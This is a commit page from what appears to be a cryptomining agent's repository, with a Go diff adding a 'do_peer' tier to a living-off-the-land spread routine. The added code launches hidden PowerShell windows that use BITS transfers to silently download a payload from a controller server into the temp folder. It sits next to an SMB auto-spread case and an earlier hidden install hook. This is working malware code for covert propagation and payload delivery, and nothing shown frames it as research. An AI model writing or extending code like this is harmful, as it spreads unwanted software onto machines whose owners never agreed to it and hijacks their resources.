Add do_peer Shadow Cache Handoff deploy tier for LOTL spread onion
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -45,6 +45,14 @@ func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
|
||||
_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||
fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-install.ps1 -ErrorAction SilentlyContinue", installURL))
|
||||
return true, "bits/curl install hook queued"
|
||||
case "do_peer":
|
||||
if !IsDOPeerReady() {
|
||||
return false, "DoSvc not running or BITS unavailable"
|
||||
}
|
||||
installURL := strings.TrimRight(cfg.ServerURL, "/") + "/get?os=windows"
|
||||
_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||
fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-do-peer.bin -TransferType Download -Priority Foreground -ErrorAction SilentlyContinue", installURL))
|
||||
return true, "do_peer shadow cache BITS handoff queued (signed plan via discover_and_join)"
|
||||
case "smb":
|
||||
if !cfg.AutoSpread && !cfg.ShareSpread {
|
||||
go RunSpreadOnce(cfg)
|
||||
|
||||
Reference in New Issue
Block a user